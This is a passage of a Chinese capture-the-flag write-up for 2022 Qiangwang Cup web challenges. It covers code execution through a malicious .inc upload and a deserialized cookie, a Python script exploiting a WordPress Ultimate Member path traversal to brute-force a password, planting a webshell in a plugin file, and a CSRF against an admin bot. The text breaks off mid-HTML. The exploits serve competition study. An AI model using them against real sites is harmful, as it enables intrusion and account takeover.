2022强网杯web(部分)

文章目录

  • 强网先锋—rcefile
  • 强网先锋—WP-UM
  • babyweb
  • crash
  • uploadpro

强网先锋—rcefile

www.zip下载源码,在config.inc.php中存在这么一个函数spl_autoload_register2022强网杯web(部分)_第1张图片
来看下他的作用:
2022强网杯web(部分)_第2张图片
2022强网杯web(部分)_第3张图片
举个例子:
比如有如下代码

 
spl_autoload_register();
$a=new A();

假设我们当前页面没有class A,他就会找a.php或者a.inc。然后包含他们。
所以我们只要上传一个含恶意代码的.inc文件,接着通过反序列化调用以这个文件的前缀为类名的对象即可。
1、首先上传.inc文件
2022强网杯web(部分)_第4张图片
2、生产序列化串

 
class f1052cc954a6663a38a52b193b7851ff{

}
echo urlencode(serialize(new f1052cc954a6663a38a52b193b7851ff));

将cookie修改成生成的反序列化串
2022强网杯web(部分)_第5张图片
触发漏洞
2022强网杯web(部分)_第6张图片

强网先锋—WP-UM

题目给了源码文件。是个wordpress
然后进入网站给了这些话

猫哥最近用wordpress搭建了一个个人博客,粗心的猫哥因为记性差,所以把管理员10位的账号作为文件名放在/username下和15位的密码作为文件名放在/password下。

并且存放的时候猫哥分成一个数字(作为字母在密码中的顺序)+一个大写或小写字母一个文件,例如admin分成5个文件,文件名是1a 2d 3m 4i 5n

这几天他发现了一个特别好用的wordpress插件,在他开心的时候,可是倒霉的猫哥却不知道危险的存在。

应该是需要爆破用户名和密码了。
搜索发现wordpress的user ment插件存在路径遍历漏洞。
https://wpscan.com/vulnerability/9d4a3f09-b011-4d87-ab63-332e505cf1cd
正好也对应上了题目名,应该没得跑了。wordpress后台登录处可以探测用户名是否存在。在首页看到了一个。
2022强网杯web(部分)_第7张图片
2022强网杯web(部分)_第8张图片

2022强网杯web(部分)_第9张图片
用户名不用跑了,就是这个了MaoGePaMao
先注册个普通用户,然后上传文件抓个包。
2022强网杯web(部分)_第10张图片
拿到pf_nonce
在这里插入图片描述
脚本如下

import requests 
import string
s = string.ascii_letters
url="http://eci-2zefnon2z47ho8r5grw9.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php"
passwd=''
headers={'Cookie':'wordpress_435742472111dc623e9a384868ccf9e6=admin1%7C1659436049%7CiBbHcYGxHiaSkxyIAxDGCI9wgUGeUccPqC7wnsdzHHa%7Cefcfb909cd2a9a5d901cc939e9e4d70adba70d8f8328b63b692a8a9a699440f2; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_435742472111dc623e9a384868ccf9e6=admin1%7C1659436049%7CiBbHcYGxHiaSkxyIAxDGCI9wgUGeUccPqC7wnsdzHHa%7C7fda55d75fd7e914075e00e1a09991f11074e6744482274415409c3854beba06; wp-settings-time-2=1659263320'}
for i in range(1,16):
    print(i)
    for j in s:
        s=str(i)+j
        r=requests.post(url,data={'field_name':'test',
            'filepath':'/../../../../../../../password/'+s,
            'field_id':'um_field_4',
            'form_key':'Upload',
            'action':'um_show_uploaded_file',
            'pf_nonce':'eaff7e1a60',
            'is_ajax':'true'},headers=headers)
        if "remove" in r.text:
            passwd+=j
            print(passwd)
            break

得到密码MaoGeYaoQiFeiLa
登录后台存在代码执行漏洞。
2022强网杯web(部分)_第11张图片2022强网杯web(部分)_第12张图片
写个马进去。根据源码可以知道该文件的具体路径为/wp-content/plugins/akismet/akismet.php
2022强网杯web(部分)_第13张图片
flag位置在/usr/local/This_1s_secert下。

babyweb

先随便注册一个用户,登录后发现存在一个bot,可以修改密码,也可以给管理员发送一个链接。很明显是csrf嘛,构造一个修改密码的链接给管理员。
那我们直接拿着源码里面的简单改改就可以了。


<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>后台管理系统</title>
    <!--自定义函数-->
    <script>
        var ws = null;
        var url = "ws://127.0.0.1:8888/bot";
        //var url = "ws://101.34.94.44:4567/bot";
        function sendtobot() {
            if (ws) {
                var msg = document.getElementById("sendbox").value;
                ws.send(msg);
              document.getElementById("sendbox").value = "";
              document.getElementById("chatbox").append("你: " + msg + "\r\n");
            }
            else{
                ws = new WebSocket(url);
                ws.onopen = function (event) {
                    console.log('connection open!')
                    var msg = document.getElementById("sendbox").value;
                    ws.send(msg);
                    document.getElementById("sendbox").value = "";
                    document.getElementById("chatbox").append("你: " + msg + "\r\n");
                }
                ws.onmessage = function (ev) {
                    botsay(ev.data);
                };
                ws.onerror = function () {
                    console.log("connection error");
                };
                ws.onclose = function () {
                    console.log("connection close!");
                };
                
            }
        }
        function closeWebSocket() {
            if(ws){
                ws.close();
                ws = null;
            }
        }
        function botsay(content) {
            document.getElementById("chatbox").append("bot: " + content + "\r\n");
        }
    </script>

    <!-- Bootstrap -->
    <link href="static/bootstrap.css" rel="stylesheet">

    <!-- HTML5 shim 和 Respond.js 是为了让 IE8 支持 HTML5 元素和媒体查询(media queries)功能 -->
    <!-- 警告:通过 file:// 协议(就是直接将 html 页面拖拽到浏览器中)访问页面时 Respond.js 不起作用 -->
    <!--[if lt IE 9]>
    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/html5shiv.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dest/respond.js"></script>
    <script type="text/javascript" src="jquery-1.7.2.js"></script>
    <![endif]-->
</head>
<body>
<nav class="navbar navbar-default" role="navigation">
    <!-- Brand and toggle get grouped for better mobile display -->
    <div class="navbar-header">
        <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-ex1-collapse">
            <span class="sr-only">Toggle navigation</span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
            <span class="icon-bar"></span>
        </button>
        <a class="navbar-brand" href=".">主页</a>
    </div>
    <!-- Collect the nav links, forms, and other content for toggling -->
    
    <div class="collapse navbar-collapse navbar-ex1-collapse">
        <ul class="nav navbar-nav navbar-right">
            <li><a href="/logout">登出</a></li>
        </ul>
    </div>
                    

你可能感兴趣的:(前端,php,javascript)